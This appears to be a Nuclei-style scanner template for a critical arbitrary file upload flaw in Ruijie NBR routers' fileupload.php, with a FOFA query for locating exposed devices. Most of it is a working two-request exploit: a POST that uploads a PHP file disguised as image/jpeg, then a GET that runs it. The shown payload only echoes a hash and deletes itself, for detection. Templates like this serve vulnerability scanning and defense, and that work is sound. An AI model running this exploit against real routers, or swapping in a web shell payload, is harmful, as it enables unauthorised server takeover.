ruijie-nbr-fileupload: Ruijie NBR fileupload.php - Arbitrary File Upload

id: ruijie-nbr-fileupload

info:
  name: Ruijie NBR fileupload.php - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/ruijie-nbr-fileupload.yaml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Ruijie-NBR路由器"
  tags: ruijie,fileupload,intrusive,nbr,vuln

variables:
  filename: "{{rand_base(6)}}"
  string: "ruijie-nbr-fileupload"

http:
  - raw:
      - |
        POST /ddi/server/fileupload.php?uploadDir=upload&name={{filename}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/plain, */*; q=0.01
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        GET /ddi/server/upload/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
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